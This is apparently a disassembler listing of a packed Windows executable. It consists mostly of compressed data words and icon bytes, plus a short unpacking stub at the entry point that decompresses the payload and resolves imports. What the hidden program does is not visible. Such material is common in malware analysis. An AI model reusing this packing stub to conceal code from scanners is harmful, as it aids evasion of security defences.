		dd 471B2712h, 87966755h, 0C7C1A7AEh, 3C3DE3FEh,	476F27E7h
		dd 87876781h, 0C7F7A7ACh, 2727F707h, 6743473Ah,	0A75D8749h
		dd 0E7A2C768h, 0E7E8E7CBh, 3E05E1F5h, 0D1A3C926h, 0E1C2D9BAh
		dd 0F1D2E9CAh, 0F9E2F9DAh, 0F9F2F9EAh, 3F02F8FAh, 15740A72h
		dd 2B782076h, 417C367Ah, 577E4C7Eh, 737E687Eh, 0CE7E9D7Eh
		dd 0E57ED77Eh, 2F20DDA9h, 30071D30h, 0E828E418h, 0F041EC38h
		dd 0F86FF461h, 0FC8AFC79h, 0FCA8FCA1h, 3924FCAFh, 5A3A4F31h
		dd 733C683Bh, 953E783Dh, 0D43F9A3Fh, 0F13FE43Fh, 1D32060Eh
		dd 378E294Eh, 480F41CFh, 8A8F7D4Fh, 0DBCF94CFh,	3AC3E4CFh
		dd 50934533h, 78B361A3h, 8BD37FC3h, 0A4F39BE3h,	0C5F3BBF3h
		dd 0EEF3CCF3h, 0FF0FFF3h, 28E41F34h, 50EC42E8h,	6BF45AF0h
		dd 89FC82F8h, 0A5FC90FCh, 0C1FCAEFCh, 0E5FCCAFCh, 0BFCEEFCh
		dd 3A1E3539h, 8002672Ch, 97A78E87h, 0ADE7A2C7h,	0BEE7B7E7h
		dd 0CDE7C4F7h, 17E1D8E7h, 34C92636h, 3CD938D1h,	44E940E1h
		dd 4CF948F1h, 54F950F9h, 5CF958F9h, 64F960F9h, 6CF968F9h
		dd 74F970F9h, 7CF978F9h, 9CF98DF9h, 0B7F9AFF9h,	0F9F9DDF9h
		dd 5F8FEF9h, 742E7237h,	7859764Bh, 7CBD7A7Fh, 1CF47EEEh
		dd 9D44380Ch, 9ED31D55h, 391307E7h, 47CA2730h, 81E867DEh
		dd 0C92A3A12h, 0D95FD14Ch, 0E971E166h, 0F994F17Bh, 0F9DBF9CFh
		dd 3B0EF8FBh, 1D741772h, 33782876h, 9F7C7E7Ah, 41CF07Eh
		dd 599D4F3Ch, 0E2AE5E1Dh, 8D9F841Eh, 0BF9F9A1Fh, 0D59FC89Fh
		dd 387FA9Fh, 2327103Dh,	42672D47h, 0FBC74E85h, 81E77CC7h
		dd 0D9E7C2E7h, 0A3E03E1h, 2AD116C9h, 6DE15FD9h,	0A7F182E9h
		dd 0D5F9ACF9h, 248441FAh, 3CD135C9h, 7E2462D9h,	0FCACF886h
		dd 0FCBCFCB7h, 108091DCh, 0F643330h, 0D323C30Fh, 0CFAFE75Eh
		dd 4F800F72h, 0CFAD8F9Ch, 0CFD8CFC5h, 0C3F1CFDFh, 931C3105h
		dd 0B34CA343h, 0D371C359h, 0F3A5E37Ch, 0F3C4F3AEh, 0F3E2F3D5h
		dd 0F3EDF3E8h, 0F0FCF3F6h, 0E4083202h, 788C9212h, 7C5E7A59h
		dd 7E997E83h, 7EA87EA2h, 7EC47EB0h, 0E0EC7ED8h,	74187233h
		dd 0BD24761Eh, 0B40C95E9h, 16BD9C9h, 9590C2BBh,	443AC1B3h
		dd 0AAD494Ah, 500DB844h, 5E5C8CB5h, 6BFFE070h, 29C42E4Bh
		dd 18630B22h, 46004F53h, 52415754h, 54D5C45h, 6F726369h
		dd 0A51EEB73h, 2053499Fh
		dd 797514B0h, 0F706AA70h, 79AF4D95h, 0E7BD7486h, 0EF1F356Fh
		dd 66EFC675h, 533907D5h, 19E05E59h, 2DB39F5Ch, 8666FBBh
		dd 0DEE36CFCh, 0E86967EBh, 0D554E573h, 8483E270h, 0F0FC6150h
		dd 0B7DE74A6h, 7ED644EDh, 331CA366h, 493C68A0h,	0C7644191h
		dd 70FF7C7Eh, 2AA2E9Bh,	73D15808h, 7CC074BEh, 6967756Ch
		dd 2660DB6Eh, 5B48C5D7h, 0F64256BEh, 65469D22h,	0EAF24D62h
		dd 4F4FF279h, 738A9270h, 439B1A95h, 66362DE4h, 0EDB67C43h
		dd 2A05495Bh, 35A44E78h, 0CF05DF0Dh, 5FA96377h,	2E702F03h
		dd 54ADC272h, 0CB7AE26Dh, 0D66453FBh, 200EA2A6h, 6F266341h
		dd 4DF01A75h, 89D617Eh,	1021B2C8h, 9B30DAB2h, 4F508101h
		dd 0EB2033C8h, 0E84BAF68h, 3F0FD110h, 0B4566E55h, 0F470CB8Ah
		dd 63A7BE8Ch, 5028B0C4h, 1B9F0C53h, 32C26C1Bh, 42DE63A6h
		dd 5DF7B468h, 6E503EC3h, 12A298Fh, 0D52C525Bh, 59C9F15Eh
		dd 64D6E69Dh, 3268F068h, 5255377Eh, 2D331A63h, 546E9E49h
		dd 2BA7263Dh, 0C6B0DEE1h, 4AA66469h, 54FA446Eh,	72208F49h
		dd 663CD4Ch, 2445F264h,	34F2472Dh, 282B300Eh, 0D1F72973h
		dd 6D1E2066h, 86E67A95h, 0ABDB8422h, 0E1326815h, 745BCC99h
		dd 0B7505F5Bh, 3141EF58h, 6CB3600Bh, 0EDA5BE5Fh, 34680A9Bh
		dd 12662BBDh, 0B8256C41h, 0FF764B4Eh, 19EB2928h, 6945BCA1h
		dd 39353588h, 626D3476h, 2A422A56h, 0BDA21E54h,	5B7A1F28h
		dd 2BAE24FDh, 0A184571h, 5F3C6228h, 28A68876h, 62ACA154h
		dd 0DDD453A0h, 20ABE63Bh, 492DE8EBh, 96430667h,	42BA70C9h
		dd 5C243B15h, 5284CE53h, 0CF464078h, 0D7A1EDD7h, 547339D2h
		dd 495EC83Ah, 730B80F1h, 0A3548972h, 942D20FCh,	857CDECBh
		dd 70784582h, 0E5936B6Ch, 5A9C2D84h, 0A15DE05Bh, 89254607h
		dd 19333121h, 9610B9A5h, 0B2561928h, 2DB791F9h,	0B6A0926Eh
		dd 0B2DD774Fh, 0FFD43AE9h, 0A649834Bh, 3A9E1E69h, 3EBB3C75h
		dd 5A794009h, 0B8785C02h, 54149B91h, 793A986Fh,	49B6B37Bh
		dd 4AE1D394h, 7553168Dh, 3A26CEE2h, 4D577074h, 0CBD4BF8h
		dd 902C40C5h, 9B258441h, 494D0E4Ch, 568F0A53h, 0C631C512h
		dd 0EBB128A3h, 2D1B9F22h, 135E7954h, 16756D26h,	0CCE61B51h
		dd 76D72FABh, 3B649278h, 0C88D0940h, 3D792482h,	0CB5D7822h
		dd 0CE26B6AEh, 0C352D04h, 16993E47h, 0DF72A078h, 3BFA6150h
		dd 686863F8h, 9D3FDC68h, 2D5E753Dh, 69717D7Ch, 0A2A42CA5h
		dd 66140D2Ch, 455C7985h, 646F1210h, 3772FC58h, 0A274EE62h
		dd 49A42358h, 99DF450h,	2192FF32h, 25795314h, 922C316Eh
		dd 3C1D665Ah, 3A693AEEh, 1E66BA11h, 72C5A7E7h, 6409B0DEh
		dd 7E300A75h, 58C24868h, 15758950h, 0D260A331h,	63C86045h
		dd 0AD2099CCh, 29CFA101h, 9A0749C3h, 8955C944h,	0D1509EE1h
		dd 0A1F42D06h, 7C8F7739h, 0D54E36B1h, 3521BD32h, 0FF6C4D30h
		dd 66B41C7Ah, 286C4D4Bh, 0A33A4316h, 4B02013Dh,	4F4C5945h
		dd 4277C647h, 9D145A49h, 2FB44E79h, 777E1F3Bh, 891DA54Eh
		dd 0AE034C43h, 62414F42h, 1849A1C5h, 99341CF2h,	59F0ACDFh
		dd 0C4E21953h, 0A39685FCh, 6EBA5B23h, 8391BE9Eh, 0C4574572h
		dd 360BA062h, 449223A5h, 7C706B0Fh, 0C991FCFAh,	90A6A4B6h
		dd 316D69A5h, 7F66E611h, 98525917h, 2E07E61Ch, 138E776Bh
		dd 2782E735h, 6CFC6972h, 552EA2C7h, 131ABAE2h, 19CD7A16h
		dd 0BE384A2Eh, 597673C7h, 3C1CF464h, 4C824954h,	97313E45h
		dd 2F3C8A01h, 385D491Eh, 73346561h, 30372C33h, 35CB2C87h
		dd 5EF687E2h, 656930F8h, 2E1B429Bh, 6BCBD410h, 6F9A38E6h
		dd 0CA922AE1h, 0B0C46C77h, 0E773989Bh, 38819FC2h, 82427356h
		dd 3384B9DCh, 34306135h, 9732BB72h, 4FBBA101h, 1856BA12h
		dd 9E41B10Eh, 67E43DD8h, 30979164h, 4F485416h, 5AAAE390h
		dd 436F3F70h, 9C4E8F4Eh, 0C895035h, 0A63EBB16h,	9E2C8656h
		dd 6694B47Bh, 19B04A1Bh, 0FF6E71EFh, 161E35C5h,	1FC91666h
		dd 2928C677h, 1A86483Bh, 777012D0h, 85DA1E91h, 68A23785h
		dd 7CF2F778h, 226D513Eh, 85A4A29h, 8D1F16D2h, 3509691Bh
		dd 6D87540Fh, 0A0E6963h, 63F11C35h, 40923875h, 0FE9272BDh
		dd 9292499Ah, 6C93228Fh, 70757881h, 246ABC57h, 607553D4h
		dd 733A22F4h, 5BA33BB5h, 85F712DAh, 187D695Fh, 738D140Bh
		dd 0E0842B80h, 642C2F2Fh, 0C4D0B417h, 25A86A0Ch, 21A07B64h
		dd 8710F220h, 2D4C796Dh, 791D5B95h, 1AE81E2Bh, 499F98D6h
		dd 61AC7C74h, 17E867A5h, 0B20D9A56h, 38F0B6D8h,	696324F6h
		dd 76276A50h, 61E1268Fh, 3A4B7076h, 424A8BD7h, 362EE41Eh
		dd 66A13247h, 478B272Dh, 0FD19901Dh, 9492D278h,	46502F27h
		dd 9E8BA41Eh, 2BB513D0h, 0F4DD568Eh, 4B501B3Ah,	91687370h
		dd 1B1DF26Fh, 86D6CAA4h, 4EFB98FAh, 70F80B79h, 0F44FA6E2h
		dd 0C0D21DE8h, 1D524418h, 1E455649h, 1F892E53h,	0F1EF3543h
		dd 97260B57h, 2BFCC3Dh,	402DB9CBh, 0A79E74D6h, 6B5F6407h
		dd 1B57984h, 43152AB8h,	3CA4293Ah, 0A4B8530Dh, 2D126D71h
		dd 3EC3833h, 6BAF44B3h,	4C250C65h, 64A972Ah, 5C9D0554h
		dd 8D69771Fh, 474BAD2Ch, 0B8527120h, 9A6D58E0h,	5C55D3BAh
		dd 687553F2h, 4620ADA0h, 34340DBCh, 7269B037h, 768B8133h
		dd 701B6F0Eh, 6B39FAB7h, 0EF625299h, 738274E3h,	3C0C438Dh
		dd 4CA39271h, 0F72AA84Bh, 8B8D165Eh, 412A6F2Bh,	645D9285h
		dd 18A33AB1h, 4944A384h, 8D681C75h, 9B722518h, 0BCAA7368h
		dd 83E84B39h, 0CA2C0FBDh, 605C2E31h, 0A5000090h, 0D05A8C01h
		dd 11CA0108h, 28660405h, 93C6421h, 4AD94450h, 84D4704h
		dd 4BA388A1h, 6521CF19h, 9733199h, 24931287h, 0A044EA3h
		dd 39C4402h, 6F727400h,	1C6E616Ah, 0B878652Eh, 5F545207h
		dd 56748347h, 697372D8h, 1E6E6F38h, 0BF3E4378h,	527F7D61h
		dd 0CC66D7Dh, 631B6854h, 704F2864h, 0CB06EFAh, 74F06956h
		dd 6C397579h, 6F1F7341h, 10AB4563h, 8E3C469Bh, 100C01Eh
		dd 40C2481Ch, 52454B03h, 334C984Eh, 642E1C32h, 613A786Ch
		dd 65706F07h, 4154076Eh, 0E36D7573h, 0F07268B1h, 0FFE16461h
		dd 63C374E3h, 484170F1h, 6FB6109h, 50BEEF4Ch, 453765B8h
		dd 50EEFE41h, 60EF3FDFh, 0F9462EF9h, 1E76F76Ch,	2C0C6968h
		dd 6797062h, 12802655h,	6EEA6F50h, 0E7238CEh, 0E737F59h
		dd 0E73EEE43h, 3E482643h, 4BD4642Ah, 534EC649h,	6DF26879h
		dd 0AA694433h, 0AE6FE363h, 54148176h, 346BE3FBh, 3476755Ch
		dd 4993736Ch, 85626828h, 0A0B14151h, 4D7E26F4h,	5475643Fh
		dd 61294E79h, 18B77D6Dh, 9A6E346Fh, 44602631h, 8276631Ah
		dd 43377079h, 75F5CA58h, 2303412Dh, 0CD7AA353h,	614CAE21h
		dd 1CDA7CB4h, 5434F8D4h, 0A73D50D7h, 0A3721299h, 5112DC30h
		dd 0D0F52351h, 410B403Dh, 4CED6471h, 0F0E5530Fh, 60C96148h
		dd 501F146Ch, 0A56FD452h, 0F04E9EB9h, 62694C0Ah, 0E0B9EEF9h
		dd 6FB58557h, 0F5697377h, 0D046DB0Ch, 4E8F7720h, 6776780Ah
		dd 0A1FE9F47h, 414C2568h, 6D6CCE41h, 0BD9F8695h, 9079EE54h
		dd 2161574Fh, 200D9641h, 0A82C0855h, 5390AB4Dh,	0AD9137D2h
		dd 25454899h, 9D0D0D88h, 0A5A46960h, 0CA56814h,	444D6F54h
		dd 6A42FA74h, 53347C79h, 0ACA88D7Dh, 11AC7845h,	30FFAB86h
		dd 0A7AC7937h, 28E55648h, 1791986Dh, 2C3753CAh,	6F0370C5h
		dd 29727543h, 42C46E56h
		dd 204E6449h, 55573784h, 0D10C5320h, 42B7D4B7h,	5566354Fh
		dd 6E1E5E18h, 136C267h,	0BB63C310h, 0E85644B9h,	0A08E4950h
		dd 605167AEh, 4979FA75h, 6F3E666Eh, 117C684Bh, 0C726451Fh
		dd 0AD111934h, 70432A0Eh, 56141C87h, 1C6668BFh,	374DFE48h
		dd 88530C02h, 37A1198Ch, 0EF504F92h, 6451A445h,	3401C51Fh
		dd 53578740h, 0AE4B434Fh, 0DB654C86h, 41BFAB71h, 0ECCB5010h
		dd 8098BEC6h, 0A14153C7h, 2D2461B7h, 400BA370h,	0CC6E86D4h
		dd 68346917h, 620F48DDh, 0B45CB379h, 2EEA9E37h,	0A8EF4728h
		dd 0BCA8417h, 6B2A476Ch, 6B6F7670h, 9F5F4EA4h, 34383B66h
		dd 0DC840A6Ah, 38243A64h, 6C016321h, 53558851h,	871CCB61h
		dd 0C8726756h, 92EE8A73h, 0D86B5E4Dh, 6F565067h, 63384179h
		dd 49B4D169h, 62CE136Ah, 64729C15h, 0F4997C96h,	692A94A0h
		dd 56651270h, 0A69277B8h, 3A83A855h, 6965F568h,	66729A92h
		dd 1E1ED25Ah, 1C6BD5D0h, 740B24D3h, 49D18E3Dh, 0E6EA94EEh
		dd 0FF338E33h, 1190804Ah, 8B7CC7B4h, 37D6ED0Fh,	6784FC92h
		dd 9C7480DFh, 14215224h, 63657563h, 4437AF0Fh, 47096E80h
		dd 48BAC929h, 0AA0683C2h, 632B2870h, 94AC6E68h,	931C6614h
		dd 739DA634h, 78F11209h, 36588D4Ah, 6929548Bh, 0D11C05BAh
		dd 4C0464FFh, 0EFC54D0h, 3A667542h, 36F78E3Dh, 6F489121h
		dd 7CA16BC5h, 963CE8EFh, 9CF2D55h, 0D41E2420h, 99444788h
		dd 8C5544A2h, 62344FD4h, 0E4330C6Ah, 0E376F244h, 61DC14DFh
		dd 4ED9D570h, 0A6EA7142h, 610D74FEh, 4C764E62h,	0D422C43h
		dd 0BF434415h, 0A65355D9h, 6E15F02Fh, 0DA438A11h, 6D842453h
		dd 1461AC00h, 0F1732E6Ch, 69E642E9h, 7712FC1Ch,	0A1049A8Dh
		dd 4B92888Ah, 491B8A96h, 0AF494A47h, 0E68BE49Fh, 0A4BE0002h
		dd 0AD004001h, 0AD97AD93h, 80B29656h, 0FF80B6A4h, 33F97313h
		dd 7313FFC9h, 0FFC03316h, 0B61F7313h, 10B04180h, 0C01213FFh
		dd 3C75FA73h, 0FFE0EBAAh, 0F6020853h, 7501D983h, 453FF0Eh
		dd 0D1AC26EBh, 132F74E8h, 911AEBC9h, 8E0C148h, 453FFACh
		dd 7D003Dh, 800A7300h, 67305FCh, 777FF883h, 95414102h
		dd 0B6C58Bh, 2BF78B56h,	5EA4F3F0h, 0D68B9DEBh, 7448AD5Eh
		dd 0AD02790Ah, 0F28B5650h, 0AD87EB97h, 0AD465E93h, 13FF5697h
		dd 0C084AC95h, 0EFEFB75h, 579F074h, 0EB50AD46h,	0F0EFE09h
		dd 0FEDFFF84h, 0FF5556FFh, 0EBAB0453h, 41C933E0h, 0C91313FFh
		dd 0F87213FFh, 75D202C3h, 46168A05h, 47C3D212h,	130h, 0
		dd 54000000h, 47000001h, 130h, 4 dup(0)
		dd 61000000h, 6F000001h, 1, 4 dup(0)
		dd 10000h, 20200002h, 10010h, 2E80004h,	10000h,	28h, 20h
		dd 40h,	40001h,	0
		dd 280h, 5 dup(0)
		dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 808080h
		dd 0C0C0C0h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh
		dd 0FFFFh, 0FFFFFFh, 4 dup(0)
		dd 88880600h, 2	dup(88888888h),	8888h, 0FFFF0600h, 2 dup(0FFFFFFFFh)
		dd 0F8FFh, 0FFFF0600h, 2 dup(0FFFFFFFFh), 0F8FFh, 0FFFF0600h
		dd 2 dup(0FFFFFFFFh), 0F8FFh, 0FFFF0600h, 2 dup(0FFFFFFFFh)
		dd 0F8FFh, 0FFFF0600h, 2 dup(0FFFFFFFFh), 0F8FFh, 0FFFF0600h
		dd 2 dup(0FFFFFFFFh), 0F8FFh, 0FFFF0600h, 0F0FFFFFFh, 0F777878h
		dd 0F8FFh, 0FFFF0600h, 0F0FFFFFFh, 0F708787h, 0F8FFh, 0FFFF0600h
		dd 0FFFFFFFFh, 0FF0F07F0h, 0F8FFh, 0FFFF0600h, 0FFFFFFh
		dd 0FF000000h, 0F8FFh, 0FFFF0600h, 780000F0h, 0F888888h
		dd 0F8FFh, 0FFFF0600h, 77777777h, 0F787777h, 0F8FFh, 0FFFF0600h
		dd 0B8B8B87Fh, 0F780FB7h, 0F8FFh, 0FFFF0600h, 8B8B8B7Fh
		dd 0F780F87h, 0F8FFh, 0FFFF0600h, 0B8B8B87Fh, 0F780FF7h
		dd 0F8FFh, 0FFFF0600h, 8B8B8B7Fh, 0F780F87h, 0F8FFh, 0FFFF0600h
		dd 0B8B8B87Fh, 0F780FB7h, 0F8FFh, 0FFFF0600h, 0FFFFFF7Fh
		dd 0F780FF7h, 0F8FFh, 0FFFF0600h, 77B8B878h, 0F080F77h
		dd 0F8FFh, 0FFFF0600h, 878BF7h,	0F080000h, 0F8FFh, 0FFFF0600h
		dd 787F77FFh, 0FF808888h, 0F8FFh, 0FFFF0600h, 0F7FFFFFFh
		dd 0FF7F7777h, 0F8FFh, 0FFFF0600h, 2 dup(0FFFFFFFFh), 0F8FFh
		dd 0FFFF0600h, 0FFFFFFFFh, 60FFFFFFh, 0
		dd 0FFFF0600h, 0FFFFFFFFh, 6FFFFFFFh, 70F8h, 0FFFF0600h
		dd 0FFFFFFFFh, 6FFFFFFFh, 87h, 0FFFF0600h, 0FFFFFFFFh
		dd 68FFFFFFh, 70h, 0FFFF0600h, 0FFFFFFFFh, 66FFFFFFh, 0
		dd 0FFFF0600h, 0FFFFFFFFh, 60FFFFFFh, 0
		dd 66660600h, 66666666h, 60666666h, 0
		dd 1Ah dup(70000E0h), 0F0000E0h, 1F0000E0h, 3F0000E0h
		dd 7F0000E0h, 0FF0000E0h, 0FF0100E0h, 0DD01A500h, 720EFF91h
		dd 860D4015h, 0C181A08h, 24103815h, 215031A3h, 40A1C30Ah
		dd 35C06906h, 15A4E1Fh,	0C10012AAh, 8BC310E8h, 42444h
		dd 0C984088Ah, 4C3A0974h, 3B0E3F5h, 0F166EB40h,	172A1Eh
		dd 0C91BD9F6h, 0C123D1F7h
		db 7, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		and	dword ptr [eax], 38h
		push	esi
		push	edi
		push	0Ch
		push	es
		mov	esi, 596A20DCh
		add	ecx, [ebp-5A0C1B83h]
		xchg	ax, bx
		movsb
		and	esp, [ecx]
		rcl	byte ptr [eax],	0C8h
; ---------------------------------------------------------------------------
		dd 875FF0Fh, 2CE44506h,	0E8A4500Ah, 599C8BAAh, 0C0855F40h
		dd 114745Eh, 6AE44D8Dh,	0FDC12B1Ah, 990DF483h, 8AF9F707h
		dd 0C9F21544h, 0C82BA0C3h, 0A382E850h, 844C7328h, 837F1EFFh
		dd 850845B1h, 5C8B530Ah, 0AE56890Eh, 5710A074h,	1E8AFF33h
		dd 81C08406h, 0E8465012h, 8873866Bh, 30201F04h,	75245947h
		dd 247B80EEh, 8B0E5FE0h, 745B5EC3h, 7C7D77A4h, 0F6330C1Dh
		dd 283E8C5h, 76B7FB18h,	0BE0F041Bh, 82503E04h, 662D8005h
		dd 7A9857E9h, 3B593569h, 7202F073h, 5FC78BE5h, 81DD915Eh
		dd 0C0183CBh, 0FEDEE828h, 0B7020FACh, 99046AC0h, 8D848259h
		dd 15524685h, 0E2109534h, 8474AB40h, 6AEE1484h,	0F8681014h
		dd 5C927815h, 0A4C99044h, 4802044h, 0E8815350h,	0E88FB6F9h
		dd 805EC4A3h, 0FB560CFBh, 1C118B3Ch, 3306FC84h,	225350DBh
		dd 88100843h, 3C680AFDh, 14116021h, 18642242h, 1D1F3437h
		dd 62B21329h, 0C4832174h, 75D24014h, 4A53E805h,	2FC69A20h
		dd 68EBD807h, 214BA32Ch, 0D2BA8C58h, 44532915h,	862D0C45h
		dd 9D882A8Ah, 1028321Dh, 14358B21h, 20680D8Ch, 69496A7Dh
		dd 0D60D739Ch, 25183D8Bh, 4589A901h, 75D75A99h,	0F932161Ch
		dd 0BCF41E95h, 33D12022h, 6214C8BFh, 8DB5FE55h,	18C87810h
		dd 688068E2h, 0F1026A92h, 0C01112B3h, 0A0243F22h, 6653F8FDh
		dd 0C5F0A451h, 2BF406CCh, 796FAB28h, 132C6820h,	1C2953C7h
		dd 6764A630h, 5356F060h, 16B79FA5h, 9C2AF8F5h, 0B99E0821h
		dd 3A845BE1h, 0AA41C8DAh, 9BFBA0F8h, 9956572Bh,	8697D63Bh
		dd 5251076Ah, 80B4A634h, 5BC03357h, 70C2C93Dh, 25FFCC0Dh
		dd 2024217Ch, 98ECCA6Ah, 15C042C0h, 41A16403h, 89DC81C5h
		dd 6108A225h, 3735685Bh, 98E865F0h, 515DEA1Bh, 869181FCh
		dd 150B4C44h, 7DA6640Dh, 4C680EC8h, 8B89482Ah, 1B9460F5h
		dd 547EFC89h, 865C0E50h, 0D54A128h, 6C45E398h, 7924D031h
		dd 441D3039h, 680C7517h, 58DBB06Ch, 0E8598858h,	68D7E262h
		dd 8DB86A0Ch, 0CDFD0B17h, 58A11F8Ah, 94450A40h,	0B9D039E3h
		dd 1B546C35h, 91F59C14h, 0A02A9008h, 686044CBh,	0C2330451h
		dd 2159A11h, 64A1242Fh,	89306F80h, 801D8C75h, 3A4D223Eh
		dd 89311346h, 3274C3DCh, 0F21C3C04h, 0F030138Fh, 0A1F27620h
		dd 9E91D0D5h, 0F68970A4h, 7401E8EBh, 0EE66B011h, 0EEB36D4h
		dd 0D8513C58h, 6AF5EC2Ch, 50580A12h, 5D48C212h,	20B3A804h
		dd 9881FCACh, 68699198h, 0EC398B3Dh, 98008BAh, 50884D89h
		dd 0F55E851h, 615C6185h, 0C2F45B5h, 70408894h, 6C64858Ah
		dd 0AA5C0648h, 50351BCh, 19E80641h, 8A472A49h, 1CC8A3Eh
		dd 84502A5Bh, 0C4C6C2Eh, 1AD0000h, 4020A887h, 45098806h
		dd 5320EE34h, 0FF727976h, 70F866D1h, 1F657162h,	0C676368h
		dd 50482E71h, 0E079E9F9h, 0FBED6120h, 0D7E53275h, 76EF6EA3h
		dd 66F6496Dh, 0FD14BDF7h, 4F6220CFh, 2837D52Eh,	6BEE1866h
		dd 7060637Ah, 36323D71h, 5233E635h, 6539152Ch, 1068679Dh
		dd 3433C761h, 43C0A71Dh, 78700C6Eh, 752E7A20h, 7C5A6253h
		dd 2084636Dh, 397293EEh, 845045E9h, 7894C175h, 0E47A6866h
		dd 0BED06E73h, 6358D818h, 0F4656064h, 6B6A6968h, 6E6D6C00h
		dd 7271706Fh, 75740173h, 79787776h, 4138807Ah, 45444342h
		dd 48470046h, 4C4B4A49h, 4F004E4Dh, 53525150h, 8565554h
		dd 5A595857h, 2E72450Eh, 2581786Fh, 65C6C73h, 69666611h
		dd 519062BCh, 2CBEAF2Eh, 0B5079E55h, 52870C9Ah,	8C3C5F54h
		dd 93CAED41h, 579932Ch,	336D65BEh, 4A355B32h, 1244C95h
		dd 1E00000h, 20E002E0h,	11CE10E2h, 16E80D04h, 0A47D11BEh
		dd 83287B0Eh, 8C012246h, 89100928h, 89491620h, 9FC28014h
		dd 1D801401h, 752FC9Dh,	13060241h, 2C06C0Bh, 3ABFF25h
		dd 7A40878h, 130D0282h,	783E130Ah, 8A7778Ah, 37701487h
		dd 5D3C0705h, 2886E78h,	7C6F7708h, 1CB87F08h, 8B1133B7h
		dd 52870238h, 0E8F72310h, 1EBBB420h, 6E1EB618h,	0A6DB08E0h
		dd 83A7783Ch, 0A14370F3h, 320736CAh, 0DDFE50E0h, 1F08CEA0h
		dd 0E87FFC3h, 5703FCD1h, 6CF1CAB4h, 4AD1102h, 0C4182448h
		dd 0D807FE59h, 1C010068h, 40108Ch, 52455355h, 2E1C3233h
		dd 786C64h, 72707379h, 38746E69h, 4F1E4166h, 611DFE65h
		dd 6F424667h, 1301878h,	534D4D44h, 52431056h, 5F61C054h
		dd 0E9746573h, 0C7C770D9h, 5B5F7967h, 0C127E1Fh, 646F6D66h
		dd 9EED6317h, 6C9F727Ch, 99167094h, 18496D1Eh, 756AA8FBh
		dd 6668CF73h, 26766985h, 72E81C3Fh, 68EE6D7Ah, 22F60CDDh
		dd 0DEEBE5E6h, 6737C821h, 3F21EF3Bh, 6D73B37Ch,	0F9E0E663h
		dd 6778DBC3h, 0D7581A3Eh, 9F466770h, 187451FBh,	0B67512A1h
		dd 0EF1AA6D4h, 0F01B359h, 5A9B656Ch, 7792FC76h,	0FF632491h
		dd 685F641Eh, 28886E5Bh, 0E1C63320h, 0EB874B12h, 734C354Eh
		dd 0D83949EEh, 8CD46853h, 6E82701Eh, 85416F66h,	0AE1F4D10h
		dd 0A8485CB2h, 7F5B1134h, 614E18F1h, 6F45276Dh,	0E797028h
		dd 0CC4414CFh, 0FC55F067h, 0EAC5A364h, 6F2D4052h, 63723375h
		dd 2629482Bh, 4E470E64h, 0BA2D6184h, 616BA11Bh,	0EF7A6955h
		dd 0FB966D2h, 8FF6D745h, 59515884h, 0A00B09CFh,	7357CA2Ch
		dd 0B22C6D8Ch, 63F578FDh, 8B9372A0h, 1478B727h,	8268F362h
		dd 0CC5467A6h, 96D443B8h, 570D4007h, 38384AAh, 0AABE4473h
		dd 0D5F3637Dh, 2449879h
		db 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		mov	esi, 4001A4h
		lodsd
		xchg	eax, ebx
		lodsd
		xchg	eax, edi
		lodsd
		push	esi
		xchg	eax, esi


loc_416C69:				; CODE XREF: start+83j
		mov	dl, 80h


loc_416C6B:				; CODE XREF: start+13j
		movsb
		mov	dh, 80h


loc_416C6E:				; CODE XREF: start+2Fj	start+72j
		call	dword ptr [ebx]
		jnb	short loc_416C6B
		xor	ecx, ecx
		call	dword ptr [ebx]
		jnb	short loc_416C8E
		xor	eax, eax
		call	dword ptr [ebx]
		jnb	short loc_416C9D
		mov	dh, 80h
		inc	ecx
		mov	al, 10h


loc_416C83:				; CODE XREF: start+2Aj
		call	dword ptr [ebx]
		adc	al, al
		jnb	short loc_416C83
		jnz	short loc_416CC7
		stosb
		jmp	short loc_416C6E
; ---------------------------------------------------------------------------


loc_416C8E:				; CODE XREF: start+19j
		call	dword ptr [ebx+8]
		add	dh, dh
		sbb	ecx, 1
		jnz	short loc_416CA6
		call	dword ptr [ebx+4]
		jmp	short loc_416CC3
; ---------------------------------------------------------------------------


loc_416C9D:				; CODE XREF: start+1Fj
		lodsb
		shr	eax, 1
		jz	short loc_416CD1
		adc	ecx, ecx
		jmp	short loc_416CC0
; ---------------------------------------------------------------------------


loc_416CA6:				; CODE XREF: start+39j
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		call	dword ptr [ebx+4]
		cmp	eax, 7D00h
		jnb	short loc_416CC0
		cmp	ah, 5
		jnb	short loc_416CC1
		cmp	eax, 7Fh
		ja	short loc_416CC2


loc_416CC0:				; CODE XREF: start+47j	start+57j
		inc	ecx


loc_416CC1:				; CODE XREF: start+5Cj
		inc	ecx


loc_416CC2:				; CODE XREF: start+61j
		xchg	eax, ebp


loc_416CC3:				; CODE XREF: start+3Ej
		mov	eax, ebp
		mov	dh, 0


loc_416CC7:				; CODE XREF: start+2Cj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_416C6E
; ---------------------------------------------------------------------------


loc_416CD1:				; CODE XREF: start+43j
		mov	edx, esi
		pop	esi
		lodsd
		dec	eax
		jz	short loc_416CE2
		jns	short loc_416CDC
		lodsd
		push	eax


loc_416CDC:				; CODE XREF: start+7Bj
		push	esi
		mov	esi, edx
		xchg	eax, edi
		jmp	short loc_416C69
; ---------------------------------------------------------------------------


loc_416CE2:				; CODE XREF: start+79j
		lodsd
		xchg	eax, ebx
		pop	esi


loc_416CE5:				; CODE XREF: start+96j
		inc	esi
		lodsd
		xchg	eax, edi
		push	esi
		call	dword ptr [ebx]
		xchg	eax, ebp


loc_416CEC:				; CODE XREF: start+92j	start+ADj
		lodsb
		test	al, al
		jnz	short loc_416CEC
		dec	byte ptr [esi]
		jz	short loc_416CE5
		jns	short loc_416CFC
		inc	esi
		lodsd
		push	eax
		jmp	short loc_416D05
; ---------------------------------------------------------------------------


loc_416CFC:				; CODE XREF: start+98j
		dec	byte ptr [esi]
		jz	sub_401434
		push	esi


loc_416D05:				; CODE XREF: start+9Dj
		push	ebp
		call	dword ptr [ebx+4]
		stosd
		jmp	short loc_416CEC
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0FF41C933h, 0FFC91313h, 0C3F87213h, 575D202h, 1246168Ah
		dd 6D4AC3D2h, 1, 0
		dd 1540000h, 6D4A0000h,	1, 4 dup(0)
